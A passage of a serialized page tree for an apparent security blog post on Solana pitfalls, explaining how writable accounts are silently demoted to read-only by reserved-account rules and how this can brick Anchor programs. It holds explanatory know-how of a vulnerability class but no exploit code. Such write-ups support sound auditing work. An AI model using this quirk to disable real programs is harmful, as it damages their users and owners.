75486,75490],{"type":22,"tag":264,"props":75459,"children":75460},{"style":4293},[75461],{"type":27,"value":13086},{"type":22,"tag":264,"props":75463,"children":75464},{"style":1549},[75465],{"type":27,"value":74215},{"type":22,"tag":264,"props":75467,"children":75468},{"style":4309},[75469],{"type":27,"value":4312},{"type":22,"tag":264,"props":75471,"children":75472},{"style":4722},[75473],{"type":27,"value":44788},{"type":22,"tag":264,"props":75475,"children":75476},{"style":4309},[75477],{"type":27,"value":4785},{"type":22,"tag":264,"props":75479,"children":75480},{"style":4401},[75481],{"type":27,"value":17652},{"type":22,"tag":264,"props":75483,"children":75484},{"style":1539},[75485],{"type":27,"value":15178},{"type":22,"tag":264,"props":75487,"children":75488},{"style":4309},[75489],{"type":27,"value":4458},{"type":22,"tag":264,"props":75491,"children":75492},{"style":1539},[75493],{"type":27,"value":4322},{"type":22,"tag":264,"props":75495,"children":75496},{"class":1534,"line":1603},[75497,75501,75506,75510,75514,75518,75522,75526,75530,75534],{"type":22,"tag":264,"props":75498,"children":75499},{"style":4293},[75500],{"type":27,"value":13086},{"type":22,"tag":264,"props":75502,"children":75503},{"style":1549},[75504],{"type":27,"value":75505}," balance_after",{"type":22,"tag":264,"props":75507,"children":75508},{"style":4309},[75509],{"type":27,"value":4312},{"type":22,"tag":264,"props":75511,"children":75512},{"style":1549},[75513],{"type":27,"value":6772},{"type":22,"tag":264,"props":75515,"children":75516},{"style":4309},[75517],{"type":27,"value":210},{"type":22,"tag":264,"props":75519,"children":75520},{"style":4401},[75521],{"type":27,"value":16811},{"type":22,"tag":264,"props":75523,"children":75524},{"style":1539},[75525],{"type":27,"value":15342},{"type":22,"tag":264,"props":75527,"children":75528},{"style":4309},[75529],{"type":27,"value":673},{"type":22,"tag":264,"props":75531,"children":75532},{"style":1549},[75533],{"type":27,"value":74526},{"type":22,"tag":264,"props":75535,"children":75536},{"style":1539},[75537],{"type":27,"value":4322},{"type":22,"tag":264,"props":75539,"children":75540},{"class":1534,"line":1612},[75541,75545,75549,75553,75557],{"type":22,"tag":264,"props":75542,"children":75543},{"style":4722},[75544],{"type":27,"value":21796},{"type":22,"tag":264,"props":75546,"children":75547},{"style":1539},[75548],{"type":27,"value":2660},{"type":22,"tag":264,"props":75550,"children":75551},{"style":1549},[75552],{"type":27,"value":14251},{"type":22,"tag":264,"props":75554,"children":75555},{"style":4309},[75556],{"type":27,"value":210},{"type":22,"tag":264,"props":75558,"children":75559},{"style":1539},[75560],{"type":27,"value":75561},"is_writable\n",{"type":22,"tag":264,"props":75563,"children":75564},{"class":1534,"line":1621},[75565,75569,75573,75577,75582,75586,75591,75595,75599,75603,75607],{"type":22,"tag":264,"props":75566,"children":75567},{"style":4309},[75568],{"type":27,"value":16921},{"type":22,"tag":264,"props":75570,"children":75571},{"style":1549},[75572],{"type":27,"value":74215},{"type":22,"tag":264,"props":75574,"children":75575},{"style":4309},[75576],{"type":27,"value":210},{"type":22,"tag":264,"props":75578,"children":75579},{"style":4401},[75580],{"type":27,"value":75581},"is_exempt",{"type":22,"tag":264,"props":75583,"children":75584},{"style":1539},[75585],{"type":27,"value":2660},{"type":22,"tag":264,"props":75587,"children":75588},{"style":1549},[75589],{"type":27,"value":75590},"balance_after",{"type":22,"tag":264,"props":75592,"children":75593},{"style":1539},[75594],{"type":27,"value":4380},{"type":22,"tag":264,"props":75596,"children":75597},{"style":1549},[75598],{"type":27,"value":14251},{"type":22,"tag":264,"props":75600,"children":75601},{"style":4309},[75602],{"type":27,"value":210},{"type":22,"tag":264,"props":75604,"children":75605},{"style":4401},[75606],{"type":27,"value":15105},{"type":22,"tag":264,"props":75608,"children":75609},{"style":1539},[75610],{"type":27,"value":16960},{"type":22,"tag":264,"props":75612,"children":75613},{"class":1534,"line":1629},[75614,75618,75622,75627,75631,75635],{"type":22,"tag":264,"props":75615,"children":75616},{"style":4309},[75617],{"type":27,"value":16921},{"type":22,"tag":264,"props":75619,"children":75620},{"style":4309},[75621],{"type":27,"value":14162},{"type":22,"tag":264,"props":75623,"children":75624},{"style":4401},[75625],{"type":27,"value":75626},"is_program",{"type":22,"tag":264,"props":75628,"children":75629},{"style":1539},[75630],{"type":27,"value":2660},{"type":22,"tag":264,"props":75632,"children":75633},{"style":1549},[75634],{"type":27,"value":14251},{"type":22,"tag":264,"props":75636,"children":75637},{"style":1539},[75638],{"type":27,"value":21018},{"type":22,"tag":264,"props":75640,"children":75641},{"class":1534,"line":1642},[75642],{"type":22,"tag":264,"props":75643,"children":75644},{"style":1539},[75645],{"type":27,"value":1692},{"type":22,"tag":23,"props":75647,"children":75648},{},[75649],{"type":27,"value":75650},"Now we’re safe...right?",{"type":22,"tag":181,"props":75652,"children":75654},{"id":75653},"bug-3-the-write-demotion-trap",[75655],{"type":27,"value":75656},"Bug 3: The Write-Demotion Trap",{"type":22,"tag":23,"props":75658,"children":75659},{},[75660,75662,75667,75669,75674],{"type":27,"value":75661},"On Solana, accounts passed as ",{"type":22,"tag":242,"props":75663,"children":75664},{},[75665],{"type":27,"value":75666},"writable",{"type":27,"value":75668}," in a transaction can be ",{"type":22,"tag":242,"props":75670,"children":75671},{},[75672],{"type":27,"value":75673},"silently downgraded to read-only",{"type":27,"value":75675},". This behavior occurs during message sanitization — even before your program runs.",{"type":22,"tag":23,"props":75677,"children":75678},{},[75679,75681,75688],{"type":27,"value":75680},"Let’s walk through the logic for legacy messages (note: the same rules apply to ",{"type":22,"tag":69,"props":75682,"children":75685},{"href":75683,"rel":75684},"https://github.com/anza-xyz/solana-sdk/blob/master/message/src/versions/v0/loaded.rs#L58-L98",[73],[75686],{"type":27,"value":75687},"MessageV0",{"type":27,"value":75689},", but legacy is simpler to follow):",{"type":22,"tag":618,"props":75691,"children":75693},{"className":4274,"code":75692,"language":4273,"meta":7,"style":7},"// https://github.com/anza-xyz/solana-sdk/blob/master/message/src/sanitized.rs#L39-L55\nimpl LegacyMessage\u003C'_> {\n    pub fn new(message: legacy::Message, reserved_account_keys: &HashSet\u003CPubkey>) -> Self {\n        let is_writable_account_cache = message\n            .account_keys\n            .iter()\n            .enumerate()\n            .map(|(i, _key)| {\n                message.is_writable_index(i)\n                    && !reserved_account_keys.contains(&message.account_keys[i])\n                    && !message.demote_program_id(i)\n            })\n            .collect::\u003CVec\u003C_>>();\n        Self {\n            message: Cow::Owned(message),\n            is_writable_account_cache,\n        }\n    }\n}\n\n// https://github.com/anza-xyz/solana-sdk/blob/master/message/src/legacy.rs#L642-L644\npub fn demote_program_id(&self, i: usize) -> bool {\n    self.is_key_called_as_program(i) && !self.is_upgradeable_loader_present()\n}\n\n",[75694],{"type":22,"tag":257,"props":75695,"children":75696},{"__ignoreMap":7},[75697,75705,75729,75817,75838,75850,75866,75882,75930,75959,76013,76049,76057,76094,76106,76144,76156,76163,76170,76177,76184,76192,76252,76305],{"type":22,"tag":264,"props":75698,"children":75699},{"class":1534,"line":1535},[75700],{"type":22,"tag":264,"props":75701,"children":75702},{"style":4284},[75703],{"type":27,"value":75704},"// https://github.com/anza-xyz/solana-sdk/blob/master/message/src/sanitized.rs#L39-L55\n",{"type":22,"tag":264,"props":75706,"children":75707},{"class":1534,"line":1545},[75708,75712,75717,75721,75725],{"type":22,"tag":264,"props":75709,"children":75710},{"style":4293},[75711],{"type":27,"value":29507},{"type":22,"tag":264,"props":75713,"children":75714},{"style":4722},[75715],{"type":27,"value":75716}," LegacyMessage",{"type":22,"tag":264,"props":75718,"children":75719},{"style":1539},[75720],{"type":27,"value":24223},{"type":22,"tag":264,"props":75722,"children":75723},{"style":4722},[75724],{"type":27,"value":4385},{"type":22,"tag":264,"props":75726,"children":75727},{"style":1539},[75728],{"type":27,"value":8574},{"type":22,"tag":264,"props":75730,"children":75731},{"class":1534,"line":1560},[75732,75736,75740,75744,75748,75752,75756,75761,75765,75770,75774,75779,75783,75787,75792,75796,75800,75804,75808,75813],{"type":22,"tag":264,"props":75733,"children":75734},{"style":4293},[75735],{"type":27,"value":22150},{"type":22,"tag":264,"props":75737,"children":75738},{"style":4293},[75739],{"type":27,"value":14994},{"type":22,"tag":264,"props":75741,"children":75742},{"style":4401},[75743],{"type":27,"value":33248},{"type":22,"tag":264,"props":75745,"children":75746},{"style":1539},[75747],{"type":27,"value":2660},{"type":22,"tag":264,"props":75749,"children":75750},{"style":1549},[75751],{"type":27,"value":69360},{"type":22,"tag":264,"props":75753,"children":75754},{"style":4309},[75755],{"type":27,"value":5785},{"type":22,"tag":264,"props":75757,"children":75758},{"style":1539},[75759],{"type":27,"value":75760}," legacy",{"type":22,"tag":264,"props":75762,"children":75763},{"style":4309},[75764],{"type":27,"value":4785},{"type":22,"tag":264,"props":75766,"children":75767},{"style":4722},[75768],{"type":27,"value":75769},"Message",{"type":22,"tag":264,"props":75771,"children":75772},{"style":1539},[75773],{"type":27,"value":4380},{"type":22,"tag":264,"props":75775,"children":75776},{"style":1549},[75777],{"type":27,"value":75778},"reserved_account_keys",{"type":22,"tag":264,"props":75780,"children":75781},{"style":4309},[75782],{"type":27,"value":5785},{"type":22,"tag":264,"props":75784,"children":75785},{"style":4309},[75786],{"type":27,"value":8434},{"type":22,"tag":264,"props":75788,"children":75789},{"style":4722},[75790],{"type":27,"value":75791},"HashSet",{"type":22,"tag":264,"props":75793,"children":75794},{"style":1539},[75795],{"type":27,"value":7097},{"type":22,"tag":264,"props":75797,"children":75798},{"style":4722},[75799],{"type":27,"value":22705},{"type":22,"tag":264,"props":75801,"children":75802},{"style":1539},[75803],{"type":27,"value":21753},{"type":22,"tag":264,"props":75805,"children":75806},{"style":4309},[75807],{"type":27,"value":15056},{"type":22,"tag":264,"props":75809,"children":75810},{"style":4293},[75811],{"type":27,"value":75812}," Self",{"type":22,"tag":264,"props":75814,"children":75815},{"style":1539},[75816],{"type":27,"value":4594},{"type":22,"tag":264,"props":75818,"children":75819},{"class":1534,"line":1569},[75820,75824,75829,75833],{"type":22,"tag":264,"props":75821,"children":75822},{"style":4293},[75823],{"type":27,"value":4365},{"type":22,"tag":264,"props":75825,"children":75826},{"style":1549},[75827],{"type":27,"value":75828}," is_writable_account_cache",{"type":22,"tag":264,"props":75830,"children":75831},{"style":4309},[75832],{"type":27,"value":4312},{"type":22,"tag":264,"props":75834,"children":75835},{"style":1549},[75836],{"type":27,"value":75837}," message\n",{"type":22,"tag":264,"props":75839,"children":75840},{"class":1534,"line":1583},[75841,75845],{"type":22,"tag":264,"props":75842,"children":75843},{"style":4309},[75844],{"type":27,"value":4471},{"type":22,"tag":264,"props":75846,"children":75847},{"style":1539},[75848],{"type":27,"value":75849},"account_keys\n",{"type":22,"tag":264,"props":75851,"children":75852},{"class":1534,"line":1603},[75853,75857,75862],{"type":22,"tag":264,"props":75854,"children":75855},{"style":4309},[75856],{"type":27,"value":4471},{"type":22,"tag":264,"props":75858,"children":75859},{"style":4401},[75860],{"type":27,"value":75861},"iter",{"type":22,"tag":264,"props":75863,"children":75864},{"style":1539},[75865],{"type":27,"value":9029},{"type":22,"tag":264,"props":75867,"children":75868},{"class":1534,"line":1612},[75869,75873,75878],{"type":22,"tag":264,"props":75870,"children":75871},{"style":4309},[75872],{"type":27,"value":4471},{"type":22,"tag":264,"props":75874,"children":75875},{"style":4401},[75876],{"type":27,"value":75877},"enumerate",{"type":22,"tag":264,"props":75879,"children":75880},{"style":1539},[75881],{"type":27,"value":9029},{"type":22,"tag":264,"props":75883,"children":75884},{"class":1534,"line":1621},[75885,75889,75893,75897,75901,75905,75909,75913,75918,75922,75926],{"type":22,"tag":264,"props":75886,"children":75887},{"style":4309},[75888],{"type":27,"value":4471},{"type":22,"tag":264,"props":75890,"children":75891},{"style":4401},[75892],{"type":27,"value":68425},{"type":22,"tag":264,"props":75894,"children":75895},{"style":1539},[75896],{"type":27,"value":2660},{"type":22,"tag":264,"props":75898,"children":75899},{"style":4309},[75900],{"type":27,"value":11714},{"type":22,"tag":264,"props":75902,"children":75903},{"style":1539},[75904],{"type":27,"value":2660},{"type":22,"tag":264,"props":75906,"children":75907},{"style":1549},[75908],{"type":27,"value":5050},{"type":22,"tag":264,"props":75910,"children":75911},{"style":1539},[75912],{"type":27,"value":4380},{"type":22,"tag":264,"props":75914,"children":75915},{"style":1549},[75916],{"type":27,"value":75917},"_key",{"type":22,"tag":264,"props":75919,"children":75920},{"style":1539},[75921],{"type":27,"value":2806},{"type":22,"tag":264,"props":75923,"children":75924},{"style":4309},[75925],{"type":27,"value":11714},{"type":22,"tag":264,"props":75927,"children":75928},{"style":1539},[75929],{"type":27,"value":4594},{"type":22,"tag":264,"props":75931,"children":75932},{"class":1534,"line":1629},[75933,75938,75942,75947,75951,75955],{"type":22,"tag":264,"props":75934,"children":75935},{"style":1549},[75936],{"type":27,"value":75937},"                message",{"type":22,"tag":264,"props":75939,"children":75940},{"style":4309},[75941],{"type":27,"value":210},{"type":22,"tag":264,"props":75943,"children":75944},{"style":4401},[75945],{"type":27,"value":75946},"is_writable_index",{"type":22,"tag":264,"props":75948,"children":75949},{"style":1539},[75950],{"type":27,"value":2660},{"type":22,"tag":264,"props":75952,"children":75953},{"style":1549},[75954],{"type":27,"value":5050},{"type":22,"tag":264,"props":75956,"children":75957},{"style":1539},[75958],{"type":27,"value":4463},{"type":22,"tag":264,"props":75960,"children":75961},{"class":1534,"line":1642},[75962,75967,75971,75975,75979,75984,75988,75992,75996,76000,76005,76009],{"type":22,"tag":264,"props":75963,"children":75964},{"style":4309},[75965],{"type":27,"value":75966},"                    &&",{"type":22,"tag":264,"props":75968,"children":75969},{"style":4309},[75970],{"type":27,"value":14162},{"type":22,"tag":264,"props":75972,"children":75973},{"style":1549},[75974],{"type":27,"value":75778},{"type":22,"tag":264,"props":75976,"children":75977},{"style":4309},[75978],{"type":27,"value":210},{"type":22,"tag":264,"props":75980,"children":75981},{"style":4401},[75982],{"type":27,"value":75983},"contains",{"type":22,"tag":264,"props":75985,"children":75986},{"style":1539},[75987],{"type":27,"value":2660},{"type":22,"tag":264,"props":75989,"children":75990},{"style":4309},[75991],{"type":27,"value":4413},{"type":22,"tag":264,"props":75993,"children":75994},{"style":1549},[75995],{"type":27,"value":69360},{"type":22,"tag":264,"props":75997,"children":75998},{"style":4309},[75999],{"type":27,"value":210},{"type":22,"tag":264,"props":76001,"children":76002},{"style":1539},[76003],{"type":27,"value":76004},"account_keys[",{"type":22,"tag":264,"props":76006,"children":76007},{"style":1549},[76008],{"type":27,"value":5050},{"type":22,"tag":264,"props":76010,"children":76011},{"style":1539},[76012],{"type":27,"value":56762},{"type":22,"tag":264,"props":76014,"children":76015},{"class":1534,"line":1660},[76016,76020,76024,76028,76032,76037,76041,76045],{"type":22,"tag":264,"props":76017,"children":76018},{"style":4309},[76019],{"type":27,"value":75966},{"type":22,"tag":264,"props":76021,"children":76022},{"style":4309},[76023],{"type":27,"value":14162},{"type":22,"tag":264,"props":76025,"children":76026},{"style":1549},[76027],{"type":27,"value":69360},{"type":22,"tag":264,"props":76029,"children":76030},{"style":4309},[76031],{"type":27,"value":210},{"type":22,"tag":264,"props":76033,"children":76034},{"style":4401},[76035],{"type":27,"value":76036},"demote_program_id",{"type":22,"tag":264,"props":76038,"children":76039},{"style":1539},[76040],{"type":27,"value":2660},{"type":22,"tag":264,"props":76042,"children":76043},{"style":1549},[76044],{"type":27,"value":5050},{"type":22,"tag":264,"props":76046,"children":76047},{"style":1539},[76048],{"type":27,"value":4463},{"type":22,"tag":264,"props":76050,"children":76051},{"class":1534,"line":1668},[76052],{"type":22,"tag":264,"props":76053,"children":76054},{"style":1539},[76055],{"type":27,"value":76056},"            })\n",{"type":22,"tag":264,"props":76058,"children":76059},{"class":1534,"line":1677},[76060,76064,76069,76073,76077,76081,76085,76089],{"type":22,"tag":264,"props":76061,"children":76062},{"style":4309},[76063],{"type":27,"value":4471},{"type":22,"tag":264,"props":76065,"children":76066},{"style":4401},[76067],{"type":27,"value":76068},"collect",{"type":22,"tag":264,"props":76070,"children":76071},{"style":4309},[76072],{"type":27,"value":4785},{"type":22,"tag":264,"props":76074,"children":76075},{"style":1539},[76076],{"type":27,"value":7097},{"type":22,"tag":264,"props":76078,"children":76079},{"style":4722},[76080],{"type":27,"value":18513},{"type":22,"tag":264,"props":76082,"children":76083},{"style":1539},[76084],{"type":27,"value":7097},{"type":22,"tag":264,"props":76086,"children":76087},{"style":1549},[76088],{"type":27,"value":4385},{"type":22,"tag":264,"props":76090,"children":76091},{"style":1539},[76092],{"type":27,"value":76093},">>();\n",{"type":22,"tag":264,"props":76095,"children":76096},{"class":1534,"line":1686},[76097,76102],{"type":22,"tag":264,"props":76098,"children":76099},{"style":4293},[76100],{"type":27,"value":76101},"        Self",{"type":22,"tag":264,"props":76103,"children":76104},{"style":1539},[76105],{"type":27,"value":4594},{"type":22,"tag":264,"props":76107,"children":76108},{"class":1534,"line":4948},[76109,76114,76118,76123,76127,76132,76136,76140],{"type":22,"tag":264,"props":76110,"children":76111},{"style":1549},[76112],{"type":27,"value":76113},"            message",{"type":22,"tag":264,"props":76115,"children":76116},{"style":4309},[76117],{"type":27,"value":5785},{"type":22,"tag":264,"props":76119,"children":76120},{"style":4722},[76121],{"type":27,"value":76122}," Cow",{"type":22,"tag":264,"props":76124,"children":76125},{"style":4309},[76126],{"type":27,"value":4785},{"type":22,"tag":264,"props":76128,"children":76129},{"style":4401},[76130],{"type":27,"value":76131},"Owned",{"type":22,"tag":264,"props":76133,"children":76134},{"style":1539},[76135],{"type":27,"value":2660},{"type":22,"tag":264,"props":76137,"children":76138},{"style":1549},[76139],{"type":27,"value":69360},{"type":22,"tag":264,"props":76141,"children":76142},{"style":1539},[76143],{"type":27,"value":8029},{"type":22,"tag":264,"props":76145,"children":76146},{"class":1534,"line":4957},[76147,76152],{"type":22,"tag":264,"props":76148,"children":76149},{"style":1549},[76150],{"type":27,"value":76151},"            is_writable_account_cache",{"type":22,"tag":264,"props":76153,"children":76154},{"style":1539},[76155],{"type":27,"value":4812},{"type":22,"tag":264,"props":76157,"children":76158},{"class":1534,"line":4980},[76159],{"type":22,"tag":264,"props":76160,"children":76161},{"style":1539},[76162],{"type":27,"value":4651},{"type":22,"tag":264,"props":76164,"children":76165},{"class":1534,"line":4989},[76166],{"type":22,"tag":264,"props":76167,"children":76168},{"style":1539},[76169],{"type":27,"value":1674},{"type":22,"tag":264,"props":76171,"children":76172},{"class":1534,"line":4998},[76173],{"type":22,"tag":264,"props":76174,"children":76175},{"style":1539},[76176],{"type":27,"value":1692},{"type":22,"tag":264,"props":76178,"children":76179},{"class":1534,"line":5067},[76180],{"type":22,"tag":264,"props":76181,"children":76182},{"emptyLinePlaceholder":17},[76183],{"type":27,"value":4986},{"type":22,"tag":264,"props":76185,"children":76186},{"class":1534,"line":5075},[76187],{"type":22,"tag":264,"props":76188,"children":76189},{"style":4284},[76190],{"type":27,"value":76191},"// https://github.com/anza-xyz/solana-sdk/blob/master/message/src/legacy.rs#L642-L644\n",{"type":22,"tag":264,"props":76193,"children":76194},{"class":1534,"line":5105},[76195,76199,76203,76208,76212,76216,76220,76224,76228,76232,76236,76240,76244,76248],{"type":22,"tag":264,"props":76196,"children":76197},{"style":4293},[76198],{"type":27,"value":14989},{"type":22,"tag":264,"props":76200,"children":76201},{"style":4293},[76202],{"type":27,"value":14994},{"type":22,"tag":264,"props":76204,"children":76205},{"style":4401},[76206],{"type":27,"value":76207}," demote_program_id",{"type":22,"tag":264,"props":76209,"children":76210},{"style":1539},[76211],{"type":27,"value":2660},{"type":22,"tag":264,"props":76213,"children":76214},{"style":4309},[76215],{"type":27,"value":4413},{"type":22,"tag":264,"props":76217,"children":76218},{"style":4293},[76219],{"type":27,"value":15012},{"type":22,"tag":264,"props":76221,"children":76222},{"style":1539},[76223],{"type":27,"value":4380},{"type":22,"tag":264,"props":76225,"children":76226},{"style":1549},[76227],{"type":27,"value":5050},{"type":22,"tag":264,"props":76229,"children":76230},{"style":4309},[76231],{"type":27,"value":5785},{"type":22,"tag":264,"props":76233,"children":76234},{"style":4722},[76235],{"type":27,"value":15030},{"type":22,"tag":264,"props":76237,"children":76238},{"style":1539},[76239],{"type":27,"value":4390},{"type":22,"tag":264,"props":76241,"children":76242},{"style":4309},[76243],{"type":27,"value":15056},{"type":22,"tag":264,"props":76245,"children":76246},{"style":4722},[76247],{"type":27,"value":13349},{"type":22,"tag":264,"props":76249,"children":76250},{"style":1539},[76251],{"type":27,"value":4594},{"type":22,"tag":264,"props":76253,"children":76254},{"class":1534,"line":5113},[76255,76259,76263,76268,76272,76276,76280,76284,76288,76292,76296,76301],{"type":22,"tag":264,"props":76256,"children":76257},{"style":4293},[76258],{"type":27,"value":22093},{"type":22,"tag":264,"props":76260,"children":76261},{"style":4309},[76262],{"type":27,"value":210},{"type":22,"tag":264,"props":76264,"children":76265},{"style":4401},[76266],{"type":27,"value":76267},"is_key_called_as_program",{"type":22,"tag":264,"props":76269,"children":76270},{"style":1539},[76271],{"type":27,"value":2660},{"type":22,"tag":264,"props":76273,"children":76274},{"style":1549},[76275],{"type":27,"value":5050},{"type":22,"tag":264,"props":76277,"children":76278},{"style":1539},[76279],{"type":27,"value":4390},{"type":22,"tag":264,"props":76281,"children":76282},{"style":4309},[76283],{"type":27,"value":74521},{"type":22,"tag":264,"props":76285,"children":76286},{"style":4309},[76287],{"type":27,"value":14162},{"type":22,"tag":264,"props":76289,"children":76290},{"style":4293},[76291],{"type":27,"value":15012},{"type":22,"tag":264,"props":76293,"children":76294},{"style":4309},[76295],{"type":27,"value":210},{"type":22,"tag":264,"props":76297,"children":76298},{"style":4401},[76299],{"type":27,"value":76300},"is_upgradeable_loader_present",{"type":22,"tag":264,"props":76302,"children":76303},{"style":1539},[76304],{"type":27,"value":9029},{"type":22,"tag":264,"props":76306,"children":76307},{"class":1534,"line":5145},[76308],{"type":22,"tag":264,"props":76309,"children":76310},{"style":1539},[76311],{"type":27,"value":1692},{"type":22,"tag":23,"props":76313,"children":76314},{},[76315],{"type":27,"value":76316},"As you can see, there are two main causes of write-demotion:",{"type":22,"tag":1867,"props":76318,"children":76319},{},[76320,76332],{"type":22,"tag":1871,"props":76321,"children":76322},{},[76323,76325],{"type":27,"value":76324},"The account appears in the ",{"type":22,"tag":69,"props":76326,"children":76329},{"href":76327,"rel":76328},"https://github.com/anza-xyz/agave/blob/cd76bf6b8da8ec3739f0df4e087de0e50028b034/reserved-account-keys/src/lib.rs#L142-L182",[73],[76330],{"type":27,"value":76331},"reserved account list",{"type":22,"tag":1871,"props":76333,"children":76334},{},[76335],{"type":27,"value":76336},"The account is invoked as a program without the upgradable loader being present in the transaction.",{"type":22,"tag":23,"props":76338,"children":76339},{},[76340],{"type":27,"value":76341},"The second case is generally covered by the executable check implemented previously.",{"type":22,"tag":23,"props":76343,"children":76344},{},[76345],{"type":27,"value":76346},"The first case, however, is far more dangerous — it can silently break your program logic without any obvious cause. Let’s dig deeper into that.",{"type":22,"tag":20197,"props":76348,"children":76350},{"id":76349},"the-reserved-account-list",[76351],{"type":27,"value":76352},"The Reserved Account List",{"type":22,"tag":23,"props":76354,"children":76355},{},[76356,76358,76363],{"type":27,"value":76357},"The Solana runtime maintains a ",{"type":22,"tag":69,"props":76359,"children":76361},{"href":76327,"rel":76360},[73],[76362],{"type":27,"value":76331},{"type":27,"value":76364},", which includes addresses with special semantics — such as built-in programs, precompiles, and sysvars.",{"type":22,"tag":23,"props":76366,"children":76367},{},[76368,76370,76377,76379,76384],{"type":27,"value":76369},"These accounts may initially behave like normal accounts. However, once they become reserved after a ",{"type":22,"tag":69,"props":76371,"children":76374},{"href":76372,"rel":76373},"https://github.com/anza-xyz/agave/blob/0e6d9bf8c81cd94dfdedb500af4ac17328cf7a43/runtime/src/bank.rs#L6469-L6474",[73],[76375],{"type":27,"value":76376},"feature gate is actived",{"type":27,"value":76378},", the runtime will ",{"type":22,"tag":242,"props":76380,"children":76381},{},[76382],{"type":27,"value":76383},"automatically demote them to read-only",{"type":27,"value":76385},", even if the transaction marked them as writable.",{"type":22,"tag":618,"props":76387,"children":76389},{"className":4274,"code":76388,"language":4273,"meta":7,"style":7},"// https://github.com/anza-xyz/agave/blob/0e6d9bf8c81cd94dfdedb500af4ac17328cf7a43/runtime/src/bank.rs#L6469-L6474\n// Update active set of reserved account keys which are not allowed to be write locked\nself.reserved_account_keys = {\n    let mut reserved_keys = ReservedAccountKeys::clone(&self.reserved_account_keys);\n    reserved_keys.update_active_set(&self.feature_set);\n    Arc::new(reserved_keys)\n};\n",[76390],{"type":22,"tag":257,"props":76391,"children":76392},{"__ignoreMap":7},[76393,76401,76409,76433,76487,76525,76554],{"type":22,"tag":264,"props":76394,"children":76395},{"class":1534,"line":1535},[76396],{"type":22,"tag":264,"props":76397,"children":76398},{"style":4284},[76399],{"type":27,"value":76400},"// https://github.com/anza-xyz/agave/blob/0e6d9bf8c81cd94dfdedb500af4ac17328cf7a43/runtime/src/bank.rs#L6469-L6474\n",{"type":22,"tag":264,"props":76402,"children":76403},{"class":1534,"line":1545},[76404],{"type":22,"tag":264,"props":76405,"children":76406},{"style":4284},[76407],{"type":27,"value":76408},"// Update active set of reserved account keys which are not allowed to be write locked\n",{"type":22,"tag":264,"props":76410,"children":76411},{"class":1534,"line":1560},[76412,76416,76420,76425,76429],{"type":22,"tag":264,"props":76413,"children":76414},{"style":4293},[76415],{"type":27,"value":15012},{"type":22,"tag":264,"props":76417,"children":76418},{"style":4309},[76419],{"type":27,"value":210},{"type":22,"tag":264,"props":76421,"children":76422},{"style":1539},[76423],{"type":27,"value":76424},"reserved_account_keys ",{"type":22,"tag":264,"props":76426,"children":76427},{"style":4309},[76428],{"type":27,"value":429},{"type":22,"tag":264,"props":76430,"children":76431},{"style":1539},[76432],{"type":27,"value":4594},{"type":22,"tag":264,"props":76434,"children":76435},{"class":1534,"line":1569},[76436,76440,76444,76449,76453,76458,76462,76466,76470,76474,76478,76482],{"type":22,"tag":264,"props":76437,"children":76438},{"style":4293},[76439],{"type":27,"value":4296},{"type":22,"tag":264,"props":76441,"children":76442},{"style":4293},[76443],{"type":27,"value":4301},{"type":22,"tag":264,"props":76445,"children":76446},{"style":1549},[76447],{"type":27,"value":76448}," reserved_keys",{"type":22,"tag":264,"props":76450,"children":76451},{"style":4309},[76452],{"type":27,"value":4312},{"type":22,"tag":264,"props":76454,"children":76455},{"style":4722},[76456],{"type":27,"value":76457}," ReservedAccountKeys",{"type":22,"tag":264,"props":76459,"children":76460},{"style":4309},[76461],{"type":27,"value":4785},{"type":22,"tag":264,"props":76463,"children":76464},{"style":4401},[76465],{"type":27,"value":16719},{"type":22,"tag":264,"props":76467,"children":76468},{"style":1539},[76469],{"type":27,"value":2660},{"type":22,"tag":264,"props":76471,"children":76472},{"style":4309},[76473],{"type":27,"value":4413},{"type":22,"tag":264,"props":76475,"children":76476},{"style":4293},[76477],{"type":27,"value":15012},{"type":22,"tag":264,"props":76479,"children":76480},{"style":4309},[76481],{"type":27,"value":210},{"type":22,"tag":264,"props":76483,"children":76484},{"style":1539},[76485],{"type":27,"value":76486},"reserved_account_keys);\n",{"type":22,"tag":264,"props":76488,"children":76489},{"class":1534,"line":1583},[76490,76495,76499,76504,76508,76512,76516,76520],{"type":22,"tag":264,"props":76491,"children":76492},{"style":1549},[76493],{"type":27,"value":76494},"    reserved_keys",{"type":22,"tag":264,"props":76496,"children":76497},{"style":4309},[76498],{"type":27,"value":210},{"type":22,"tag":264,"props":76500,"children":76501},{"style":4401},[76502],{"type":27,"value":76503},"update_active_set",{"type":22,"tag":264,"props":76505,"children":76506},{"style":1539},[76507],{"type":27,"value":2660},{"type":22,"tag":264,"props":76509,"children":76510},{"style":4309},[76511],{"type":27,"value":4413},{"type":22,"tag":264,"props":76513,"children":76514},{"style":4293},[76515],{"type":27,"value":15012},{"type":22,"tag":264,"props":76517,"children":76518},{"style":4309},[76519],{"type":27,"value":210},{"type":22,"tag":264,"props":76521,"children":76522},{"style":1539},[76523],{"type":27,"value":76524},"feature_set);\n",{"type":22,"tag":264,"props":76526,"children":76527},{"class":1534,"line":1603},[76528,76533,76537,76541,76545,76550],{"type":22,"tag":264,"props":76529,"children":76530},{"style":4722},[76531],{"type":27,"value":76532},"    Arc",{"type":22,"tag":264,"props":76534,"children":76535},{"style":4309},[76536],{"type":27,"value":4785},{"type":22,"tag":264,"props":76538,"children":76539},{"style":4401},[76540],{"type":27,"value":16422},{"type":22,"tag":264,"props":76542,"children":76543},{"style":1539},[76544],{"type":27,"value":2660},{"type":22,"tag":264,"props":76546,"children":76547},{"style":1549},[76548],{"type":27,"value":76549},"reserved_keys",{"type":22,"tag":264,"props":76551,"children":76552},{"style":1539},[76553],{"type":27,"value":4463},{"type":22,"tag":264,"props":76555,"children":76556},{"class":1534,"line":1612},[76557],{"type":22,"tag":264,"props":76558,"children":76559},{"style":1539},[76560],{"type":27,"value":17878},{"type":22,"tag":20197,"props":76562,"children":76564},{"id":76563},"consequences-silent-failures-and-bricked-programs",[76565],{"type":27,"value":76566},"Consequences: Silent Failures and Bricked Programs",{"type":22,"tag":23,"props":76568,"children":76569},{},[76570],{"type":27,"value":76571},"This behavior is especially dangerous when you constrain a program to be writable, for example, with anchor, it's pretty common to use the account(mut) constraint:",{"type":22,"tag":618,"props":76573,"children":76575},{"className":4274,"code":76574,"language":4273,"meta":7,"style":7},"#[derive(Accounts)]\npub struct ChangeKing\u003C'info> {\n    #[account(mut)]\n    pub throne: Account\u003C'info, Throne>,\n\n    #[account(mut, constraint = old_king.key() == throne.king)]\n    pub old_king: AccountInfo\u003C'info>,\n\n    #[account(mut)]\n    pub new_king: AccountInfo\u003C'info>,\n\n    #[account(mut)]\n    pub payer: 